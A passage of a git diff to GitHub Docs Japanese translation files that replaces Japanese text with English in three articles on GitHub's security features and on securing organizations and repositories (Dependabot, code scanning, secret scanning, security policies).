system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)" diff --git a/translations/ja-JP/content/code-security/getting-started/github-security-features.md b/translations/ja-JP/content/code-security/getting-started/github-security-features.md index a4821b107b..f6811cfb39 100644 --- a/translations/ja-JP/content/code-security/getting-started/github-security-features.md +++ b/translations/ja-JP/content/code-security/getting-started/github-security-features.md @@ -1,6 +1,6 @@ --- -title: GitHubのセキュリティ機能 -intro: '{% data variables.product.prodname_dotcom %}のセキュリティ機能の概要。' +title: GitHub security features +intro: 'An overview of {% data variables.product.prodname_dotcom %} security features.' versions: fpt: '*' ghes: '*' @@ -14,32 +14,33 @@ topics: - Advanced Security --- -## {% data variables.product.prodname_dotcom %}のセキュリティ機能について +## About {% data variables.product.prodname_dotcom %}'s security features -{% data variables.product.prodname_dotcom %}は、リポジトリ内及びOrganizationに渡ってコードとシークレットをセキュアに保つのに役立つ機能があります。 機能の中にはすべてのリポジトリで使えるものもあり、{% ifversion fpt or ghec %}パブリックリポジトリと{% endif %}{% data variables.product.prodname_GH_advanced_security %}ライセンスを持っているリポジトリでのみ使えるものもあります。 +{% data variables.product.prodname_dotcom %} has security features that help keep code and secrets secure in repositories and across organizations. Some features are available for all repositories and others are only available {% ifversion fpt or ghec %}for public repositories and for repositories {% endif %}with a {% data variables.product.prodname_GH_advanced_security %} license. -{% data variables.product.prodname_advisory_database %}には、表示、検索、フィルタできる精選されたセキュリティ脆弱性のリストが含まれます。 {% data reusables.security-advisory.link-browsing-advisory-db %} +The {% data variables.product.prodname_advisory_database %} contains a curated list of security vulnerabilities that you can view, search, and filter. {% data reusables.security-advisory.link-browsing-advisory-db %} {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -## すべてのリポジトリで使用可能 +## Available for all repositories {% endif %} {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -### セキュリティポリシー - -リポジトリで見つけたセキュリティの脆弱性を、ユーザが内密に報告しやすくします。 詳しい情報については「[リポジトリにセキュリティポリシーを追加する](/code-security/getting-started/adding-a-security-policy-to-your-repository)」を参照してください。 +### Security policy + +Make it easy for your users to confidentially report security vulnerabilities they've found in your repository. For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)." {% endif %} {% ifversion fpt or ghec %} -### セキュリティアドバイザリ +### Security advisories -リポジトリのコードのセキュリティの脆弱性について、非公開で議論して修正します。 その後、セキュリティアドバイザリを公開して、コミュニティに脆弱性を警告し、アップグレードするようコミュニティメンバーに促すことができます。 詳しい情報については「[{% data variables.product.prodname_security_advisories %}について](/github/managing-security-vulnerabilities/about-github-security-advisories)」を参照してください。 +Privately discuss and fix security vulnerabilities in your repository's code. You can then publish a security advisory to alert your community to the vulnerability and encourage community members to upgrade. For more information, see "[About {% data variables.product.prodname_security_advisories %}](/github/managing-security-vulnerabilities/about-github-security-advisories)." {% endif %} {% ifversion fpt or ghec or ghes > 3.2 %} -### {% data variables.product.prodname_dependabot_alerts %} およびセキュリティアップデート +### {% data variables.product.prodname_dependabot_alerts %} and security updates -セキュリティの脆弱性を含むことを把握している依存関係に関するアラートを表示し、プルリクエストを自動的に生成してこれらの依存関係を更新するかどうかを選択します。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)」 および「[{% data variables.product.prodname_dependabot_security_updates %} について](/github/managing-security-vulnerabilities/about-dependabot-security-updates)」を参照してください。 +View alerts about dependencies that are known to contain security vulnerabilities, and choose whether to have pull requests generated automatically to update these dependencies. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)" +and "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)." {% endif %} {% ifversion ghes < 3.3 or ghae-issue-4864 %} @@ -47,42 +48,42 @@ topics: {% data reusables.dependabot.dependabot-alerts-beta %} -セキュリティの脆弱性を含むことを把握している依存関係に関するアラートを表示し、それらのアラートを管理します。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)」を参照してください。 +View alerts about dependencies that are known to contain security vulnerabilities, and manage these alerts. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." {% endif %} {% ifversion fpt or ghec or ghes > 3.2 %} -### {% data variables.product.prodname_dependabot %} バージョンアップデート +### {% data variables.product.prodname_dependabot %} version updates -{% data variables.product.prodname_dependabot %}を使って、依存関係を最新に保つためのPull Requestを自動的に発行してください。 これは、依存関係の古いバージョンの公開を減らすために役立ちます。 新しいバージョンを使用すると、セキュリティの脆弱性が発見された場合にパッチの適用が容易になり、さらに脆弱性のある依存関係を更新するため {% data variables.product.prodname_dependabot_security_updates %} がプルリクエストを発行することも容易になります。 詳しい情報については、「[{% data variables.product.prodname_dependabot_version_updates %} について](/github/administering-a-repository/about-dependabot-version-updates)」を参照してください。 +Use {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. This helps reduce your exposure to older versions of dependencies. Using newer versions makes it easier to apply patches if security vulnerabilities are discovered, and also makes it easier for {% data variables.product.prodname_dependabot_security_updates %} to successfully raise pull requests to upgrade vulnerable dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/github/administering-a-repository/about-dependabot-version-updates)." {% endif %} {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -### 依存関係グラフ -依存関係グラフを使うと、自分のリポジトリが依存しているエコシステムやパッケージ、そして自分のリポジトリに依存しているリポジトリやパッケージを調べることができます。 +### Dependency graph +The dependency graph allows you to explore the ecosystems and packages that your repository depends on and the repositories and packages that depend on your repository. -依存関係グラフは、リポジトリの [**Insights**] タブにあります。 詳しい情報については、「[依存関係グラフについて](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)」を参照してください。 +You can find the dependency graph on the **Insights** tab for your repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." {% endif %} -## {% ifversion fpt or ghec %}パブリックリポジトリおよび{% endif %}{% data variables.product.prodname_advanced_security %} が有効になっているリポジトリで使用可能 +## Available {% ifversion fpt or ghec %}for public repositories and for repositories {% endif %}with {% data variables.product.prodname_advanced_security %} {% ifversion fpt or ghes or ghec %} -これらの機能は、{% data variables.product.prodname_advanced_security %}のライセンスを{% ifversion fpt or ghec %}持つOrganizationが所有するプライベートリポジトリと、すべてのパブリックリポジトリで{% else %}持っていれば{% endif %}利用できます。 {% data reusables.advanced-security.more-info-ghas %} +These features are available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. {% data reusables.advanced-security.more-info-ghas %} {% endif %} -### {% data variables.product.prodname_code_scanning_capc %} アラート +### {% data variables.product.prodname_code_scanning_capc %} alerts -新しいコードまたは変更されたコードのセキュリティの脆弱性とコーディングエラーを自動的に検出します。 潜在的な問題が強調表示され、あわせて詳細情報も確認できるため、デフォルトのブランチにマージする前にコードを修正できます。 詳しい情報については、「[コードスキャニングについて](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)」を参照してください。 +Automatically detect security vulnerabilities and coding errors in new or modified code. Potential problems are highlighted, with detailed information, allowing you to fix the code before it's merged into your default branch. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)." -### {% data variables.product.prodname_secret_scanning_caps %} アラート +### {% data variables.product.prodname_secret_scanning_caps %} alerts -{% ifversion fpt or ghec %}プライベートリポジトリで、{% else %}{% endif %}any secrets that {% data variables.product.prodname_dotcom %} がコードで見つけたシークレットを表示します。 リポジトリにチェックインされたトークンまたは資格情報は、侵害されたものとして扱う必要があります。 詳しい情報については、「[シークレットスキャニングについて](/github/administering-a-repository/about-secret-scanning)」を参照してください。 +{% ifversion fpt or ghec %}For private repositories, view {% else %}View {% endif %}any secrets that {% data variables.product.prodname_dotcom %} has found in your code. You should treat tokens or credentials that have been checked into the repository as compromised. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %} -### 依存関係のレビュー +### Dependency review -Pull Requestをマージする前に、依存関係に対する変更の影響を詳細に示し、脆弱なバージョンがあればその詳細を確認できます。 For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)." +Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)." {% endif %} -## 参考リンク -- "[{% data variables.product.prodname_dotcom %}の製品](/github/getting-started-with-github/githubs-products)" -- 「[{% data variables.product.prodname_dotcom %}言語サポート](/github/getting-started-with-github/github-language-support)」 +## Further reading +- "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products)" +- "[{% data variables.product.prodname_dotcom %} language support](/github/getting-started-with-github/github-language-support)" diff --git a/translations/ja-JP/content/code-security/getting-started/securing-your-organization.md b/translations/ja-JP/content/code-security/getting-started/securing-your-organization.md index 3efdac22e9..f88ddfd505 100644 --- a/translations/ja-JP/content/code-security/getting-started/securing-your-organization.md +++ b/translations/ja-JP/content/code-security/getting-started/securing-your-organization.md @@ -1,6 +1,6 @@ --- -title: Organizationの保護 -intro: 'Organizationをセキュアに保つために、いくつもの{% data variables.product.prodname_dotcom %}の機能が利用できます。' +title: Securing your organization +intro: 'You can use a number of {% data variables.product.prodname_dotcom %} features to help keep your organization secure.' permissions: Organization owners can configure organization security settings. versions: fpt: '*' @@ -13,112 +13,112 @@ topics: - Dependencies - Vulnerabilities - Advanced Security -shortTitle: Organizationの保護 +shortTitle: Secure your organization --- -## はじめに -このガイドは、Organizationでのセキュリティ機能の設定方法を紹介します。 Organizationのセキュリティの要件は固有のものであり、すべてのセキュリティの機能を有効化する必要はないかもしれません。 詳しい情報については「[{% data variables.product.prodname_dotcom %}のセキュリティ機能](/code-security/getting-started/github-security-features)」を参照してください。 +## Introduction +This guide shows you how to configure security features for an organization. Your organization's security needs are unique and you may not need to enable every security feature. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)." Some security features are only available {% ifversion fpt or ghec %}for public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. {% data reusables.advanced-security.more-info-ghas %} -## Organizationへのアクセス管理 +## Managing access to your organization You can use roles to control what actions people can take in your organization. {% if security-managers %}For example, you can assign the security manager role to a team to give them the ability to manage security settings across your organization, as well as read access to all repositories.{% endif %} For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." {% ifversion fpt or ghes > 3.0 or ghec %} -## デフォルトのセキュリティポリシーの作成 +## Creating a default security policy -独自のセキュリティポリシーを持たないOrganization内のパブリックリポジトリで表示される、デフォルトのセキュリティポリシーを作成できます。 詳しい情報については「[デフォルトのコミュニティ健全性ファイルを作成する](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)」を参照してください。 +You can create a default security policy that will display in any of your organization's public repositories that do not have their own security policy. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)." {% endif %} {% ifversion fpt or ghes > 2.22 or ghae-issue-4864 or ghec %} -## {% data variables.product.prodname_dependabot_alerts %}及び依存関係グラフの管理 +## Managing {% data variables.product.prodname_dependabot_alerts %} and the dependency graph {% ifversion fpt or ghec %}By default, {% data variables.product.prodname_dotcom %} detects vulnerabilities in public repositories and generates {% data variables.product.prodname_dependabot_alerts %} and a dependency graph. You can enable or disable {% data variables.product.prodname_dependabot_alerts %} and the dependency graph for all private repositories owned by your organization. -1. 自分のプロフィール写真をクリックし、続いて** Organizations**をクリックしてください。 -2. Organizationの隣の** Settings（設定）**をクリックしてください。 -3. **Security & analysis（セキュリティと分析）**をクリックしてください。 -4. 管理したい機能の隣の**Enable all（すべてを有効化）**あるいは**Disable all（すべてを無効化**をクリックしてください。 -5. あるいは**Automatically enable for new repositories（自動的に新しいリポジトリで有効化**を選択してください。 +1. Click your profile photo, then click **Organizations**. +2. Click **Settings** next to your organization. +3. Click **Security & analysis**. +4. Click **Enable all** or **Disable all** next to the feature that you want to manage. +5. Optionally, select **Automatically enable for new repositories**. {% endif %} {% data reusables.dependabot.dependabot-alerts-beta %} {% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %} -詳しい情報については「[脆弱な依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」、「[リポジトリの依存関係の調査](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)」、「[Organizationのセキュリティと分析設定の管理](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」を参照してください。 +For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)," "[Exploring the dependencies of a repository](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)," and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %} -## 依存関係レビューの管理 +## Managing dependency review -依存関係レビューを使うと、Pull Requestがリポジトリにマージされる前に、Pull Request内での依存関係の変化を可視化できます。 -{% ifversion fpt or ghec %}Dependency review is available in all public repositories. For private and internal repositories you require a license for {% data variables.product.prodname_advanced_security %}. To enable dependency review for an organization, enable the dependency graph and enable {% data variables.product.prodname_advanced_security %}. +Dependency review lets you visualize dependency changes in pull requests before they are merged into your repositories. +{% ifversion fpt or ghec %}Dependency review is available in all public repositories. For private and internal repositories you require a license for {% data variables.product.prodname_advanced_security %}. To enable dependency review for an organization, enable the dependency graph and enable {% data variables.product.prodname_advanced_security %}. {% elsif ghes or ghae %}Dependency review is available when dependency graph is enabled for {% data variables.product.product_location %} and you enable {% data variables.product.prodname_advanced_security %} for the organization (see below).{% endif %} -詳しい情報については「[依存関係レビューについて](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)」を参照してください。 +For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)." {% endif %} {% ifversion fpt or ghec or ghes > 3.2 %} -## {% data variables.product.prodname_dependabot_security_updates %}の管理 +## Managing {% data variables.product.prodname_dependabot_security_updates %} -{% data variables.product.prodname_dependabot_alerts %}を使用するリポジトリでは、{% data variables.product.prodname_dependabot_security_updates %}を有効化して脆弱性が検出された際にセキュリティ更新でPull Requestを発行させることができます。 Organization全体で、すべてのリポジトリで{% data variables.product.prodname_dependabot_security_updates %}を有効化あるいは無効化することもできます。 +For any repository that uses {% data variables.product.prodname_dependabot_alerts %}, you can enable {% data variables.product.prodname_dependabot_security_updates %} to raise pull requests with security updates when vulnerabilities are detected. You can also enable or disable {% data variables.product.prodname_dependabot_security_updates %} for all repositories across your organization. -1. 自分のプロフィール写真をクリックし、続いて** Organizations**をクリックしてください。 -2. Organizationの隣の** Settings（設定）**をクリックしてください。 -3. **Security & analysis（セキュリティと分析）**をクリックしてください。 -4. {% data variables.product.prodname_dependabot_security_updates %}の隣の**Enable all（すべてを有効化）**あるいは**Disable all（すべてを無効化）**をクリックしてください。 -5. あるいは**Automatically enable for new repositories（自動的に新しいリポジトリで有効化**を選択してください。 +1. Click your profile photo, then click **Organizations**. +2. Click **Settings** next to your organization. +3. Click **Security & analysis**. +4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_dependabot_security_updates %}. +5. Optionally, select **Automatically enable for new repositories**. -詳しい情報については「[{% data variables.product.prodname_dependabot_security_updates %}について](/code-security/supply-chain-security/about-dependabot-security-updates)」及び「[Organizationのセキュリティ及び分析設定の管理](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」を参照してください。 +For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." -## {% data variables.product.prodname_dependabot_version_updates %}の管理 +## Managing {% data variables.product.prodname_dependabot_version_updates %} -{% data variables.product.prodname_dependabot %}を有効化して、依存関係を最新の状態に保つためのPull Requestを自動的に発行するようにできます。 詳しい情報については「[{% data variables.product.prodname_dependabot_version_updates %}について](/code-security/supply-chain-security/about-dependabot-version-updates)」を参照してください。 +You can enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)." -{% data variables.product.prodname_dependabot_version_updates %}を有効化するには、設定ファイルの*dependabot.yml*を作成しなければなりません。 For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)." +To enable {% data variables.product.prodname_dependabot_version_updates %}, you must create a *dependabot.yml* configuration file. For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)." {% endif %} {% ifversion fpt or ghes > 2.22 or ghae or ghec %} -## {% data variables.product.prodname_GH_advanced_security %}の管理 +## Managing {% data variables.product.prodname_GH_advanced_security %} {% ifversion fpt or ghes > 2.22 or ghec %} -Organizationが{% data variables.product.prodname_advanced_security %}のライセンスを持っているなら、{% data variables.product.prodname_advanced_security %}の機能を有効化あるいは無効化できます。 +If your organization has an {% data variables.product.prodname_advanced_security %} license, you can enable or disable {% data variables.product.prodname_advanced_security %} features. {% elsif ghae %} You can enable or disable {% data variables.product.prodname_advanced_security %} features. {% endif %} -1. 自分のプロフィール写真をクリックし、続いて** Organizations**をクリックしてください。 -2. Organizationの隣の** Settings（設定）**をクリックしてください。 -3. **Security & analysis（セキュリティと分析）**をクリックしてください。 -4. {% data variables.product.prodname_GH_advanced_security %}の隣の**Enable all（すべてを有効化）**あるいは**Disable all（すべてを無効化）**をクリックしてください。 -5. あるいは**Automatically enable for new private repositories（自動的に新しいプライベートリポジトリで有効化**を選択してください。 +1. Click your profile photo, then click **Organizations**. +2. Click **Settings** next to your organization. +3. Click **Security & analysis**. +4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_GH_advanced_security %}. +5. Optionally, select **Automatically enable for new private repositories**. -詳しい情報については「[{% data variables.product.prodname_GH_advanced_security %}について](/github/getting-started-with-github/about-github-advanced-security)」及び「[Organizationのセキュリティ及び分析設定の管理](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」を参照してください。 +For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." -## {% data variables.product.prodname_secret_scanning %}の設定 +## Configuring {% data variables.product.prodname_secret_scanning %} {% data variables.product.prodname_secret_scanning_caps %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. -{% data variables.product.prodname_advanced_security %}が有効化されているOrganizationのすべてのリポジトリで、{% data variables.product.prodname_secret_scanning %}を有効化あるいは無効化できます。 +You can enable or disable {% data variables.product.prodname_secret_scanning %} for all repositories across your organization that have {% data variables.product.prodname_advanced_security %} enabled. -1. 自分のプロフィール写真をクリックし、続いて** Organizations**をクリックしてください。 -2. Organizationの隣の** Settings（設定）**をクリックしてください。 -3. **Security & analysis（セキュリティと分析）**をクリックしてください。 -4. {% data variables.product.prodname_secret_scanning_caps %}の隣の**Enable all（すべてを有効化）**あるいは**Disable all（すべてを無効化）**をクリックしてください（{% data variables.product.prodname_GH_advanced_security %}リポジトリのみ）。 -5. あるいは**Automatically enable for private repositories added to {% data variables.product.prodname_advanced_security %}**を選択してください。 +1. Click your profile photo, then click **Organizations**. +2. Click **Settings** next to your organization. +3. Click **Security & analysis**. +4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_secret_scanning_caps %} ({% data variables.product.prodname_GH_advanced_security %} repositories only). +5. Optionally, select **Automatically enable for private repositories added to {% data variables.product.prodname_advanced_security %}**. -詳しい情報については「[Organizatonのためのセキュリティ及び分析設定の管理](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」を参照してください。 +For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." {% endif %} -## 次のステップ +## Next steps {% ifversion fpt or ghes > 3.1 or ghec %}You can view, filter, and sort security alerts for repositories owned by your organization in the security overview. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."{% endif %} -セキュリティの機能からのアラートを表示及び管理して、コード中の依存関係と脆弱性に対処できます。 For more information, see {% ifversion fpt or ghes > 2.22 or ghec %} "[Viewing and updating vulnerable dependencies in your repository](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." +You can view and manage alerts from security features to address dependencies and vulnerabilities in your code. For more information, see {% ifversion fpt or ghes > 2.22 or ghec %} "[Viewing and updating vulnerable dependencies in your repository](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)." -{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. 詳しい情報については「[{% data variables.product.prodname_security_advisories %}について](/code-security/security-advisories/about-github-security-advisories)」及び「[セキュリティアドバイザリの作成](/code-security/security-advisories/creating-a-security-advisory)」を参照してください。 +{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)." {% endif %} diff --git a/translations/ja-JP/content/code-security/getting-started/securing-your-repository.md b/translations/ja-JP/content/code-security/getting-started/securing-your-repository.md index a0294fdf95..8b7f466b77 100644 --- a/translations/ja-JP/content/code-security/getting-started/securing-your-repository.md +++ b/translations/ja-JP/content/code-security/getting-started/securing-your-repository.md @@ -1,6 +1,6 @@ --- -title: リポジトリを保護する -intro: 'リポジトリをセキュアに保つために、いくつもの{% data variables.product.prodname_dotcom %}の機能が利用できます。' +title: Securing your repository +intro: 'You can use a number of {% data variables.product.prodname_dotcom %} features to help keep your repository secure.' permissions: Repository administrators and organization owners can configure repository security settings. redirect_from: - /github/administering-a-repository/about-securing-your-repository @@ -16,119 +16,119 @@ topics: - Dependencies - Vulnerabilities - Advanced Security -shortTitle: リポジトリの保護 +shortTitle: Secure your repository --- -## はじめに -このガイドは、リポジトリでのセキュリティ機能の設定方法を紹介します。 リポジトリのセキュリティ設定を構成するには、リポジトリ管理者かOrganizationのオーナーでなければなりません。 +## Introduction +This guide shows you how to configure security features for a repository. You must be a repository administrator or organization owner to configure security settings for a repository. -セキュリティの要件はリポジトリに固有のものなので、リポジトリですべての機能を有効化する必要はないかもしれません。 詳しい情報については「[{% data variables.product.prodname_dotcom %}のセキュリティ機能](/code-security/getting-started/github-security-features)」を参照してください。 +Your security needs are unique to your repository, so you may not need to enable every feature for your repository. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)." Some security features are only available {% ifversion fpt or ghec %}for public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. {% data reusables.advanced-security.more-info-ghas %} -## リポジトリへのアクセスの管理 +## Managing access to your repository -リポジトリを保護するための最初の手順は、コードを表示および変更できるユーザを設定することです。 詳しい情報については、「[リポジトリ設定を管理する](/github/administering-a-repository/managing-repository-settings)」を参照してください。 +The first step to securing a repository is to set up who can see and modify your code. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)." -リポジトリのメインページから、**{% octicon "gear" aria-label="The Settings gear" %}Settings（設定）**をクリックし、続いて"Danger Zone（危険区域）"まで下へスクロールしてください。 +From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**, then scroll down to the "Danger Zone." -- リポジトリを見ることができる人を変更するには**Change visibility（可視性を変更）**をクリックしてください。 詳しい情報については「[リポジトリの可視性の設定](/github/administering-a-repository/setting-repository-visibility)」を参照してください。{% ifversion fpt or ghec %} -- リポジトリにアクセスできる人を変更し、権限を調整するには**Manage access（アクセスの管理）**をクリックしてください。 詳しい情報については「[リポジトリにアクセスできるTeamと人の管理](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)」を参照してください。{% endif %} +- To change who can view your repository, click **Change visibility**. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."{% ifversion fpt or ghec %} +- To change who can access your repository and adjust permissions, click **Manage access**. For more information, see"[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)."{% endif %} {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -## セキュリティポリシーの設定 +## Setting a security policy -1. リポジトリのメインページから**{% octicon "shield" aria-label="The shield symbol" %} Security（セキュリティ）**をクリックしてください。 -2. **Security policy（セキュリティポリシー）**をクリックしてください。 -3. **Start setup（セットアップの開始）**をクリックします。 -4. プロジェクトのサポートされているバージョンに関する情報と、脆弱性の報告方法に関する情報を追加してください。 +1. From the main page of your repository, click **{% octicon "shield" aria-label="The shield symbol" %} Security**. +2. Click **Security policy**. +3. Click **Start setup**. +4. Add information about supported versions of your project and how to report vulnerabilities. -詳しい情報については「[リポジトリにセキュリティポリシーを追加する](/code-security/getting-started/adding-a-security-policy-to-your-repository)」を参照してください。 +For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)." {% endif %} {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -## 依存関係グラフの管理 +## Managing the dependency graph {% ifversion fpt or ghec %} Once you have [enabled the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph), it is automatically generated for all public repositories, and you can choose to enable it for private repositories. -1. リポジトリのメインページから、**{% octicon "gear" aria-label="The Settings gear" %} Settings（設定）**をクリックしてください。 -2. **Security & analysis（セキュリティと分析）**をクリックしてください。 -3. 依存関係グラフの隣で**Enable（有効化）**もしくは**Disable（無効化）**をクリックしてください。 +1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %} Settings**. +2. Click **Security & analysis**. +3. Next to Dependency graph, click **Enable** or **Disable**. {% endif %} {% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %} -詳しい情報については、「[リポジトリの依存関係を調べる](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)」を参照してください。 +For more information, see "[Exploring the dependencies of a repository](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)." {% endif %} {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -## {% data variables.product.prodname_dependabot_alerts %}の管理 +## Managing {% data variables.product.prodname_dependabot_alerts %} -{% ifversion fpt or ghec %}By default, {% data variables.product.prodname_dotcom %} detects vulnerabilities in public repositories and generates {% data variables.product.prodname_dependabot_alerts %}. {% data variables.product.prodname_dependabot_alerts %}は、プライベートリポジトリでも有効化できます。 +{% ifversion fpt or ghec %}By default, {% data variables.product.prodname_dotcom %} detects vulnerabilities in public repositories and generates {% data variables.product.prodname_dependabot_alerts %}. {% data variables.product.prodname_dependabot_alerts %} can also be enabled for private repositories. -1. 自分のプロフィール写真をクリックし、続いて** Settings（設定）**をクリックしてください。 -2. **Security & analysis（セキュリティと分析）**をクリックしてください。 -3. {% data variables.product.prodname_dependabot_alerts %}の隣の**Enable all（すべて有効化）**をクリックしてください。 +1. Click your profile photo, then click **Settings**. +2. Click **Security & analysis**. +3. Click **Enable all** next to {% data variables.product.prodname_dependabot_alerts %}. {% endif %} {% data reusables.dependabot.dependabot-alerts-beta %} {% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %} -詳しい情報については「[脆弱な依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」{% ifversion fpt or ghec %}及び「[ユーザアカウントのセキュリティ及び分析設定の管理](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account)」{% endif %}を参照してください。 +For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies){% ifversion fpt or ghec %}" and "[Managing security and analysis settings for your user account](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account){% 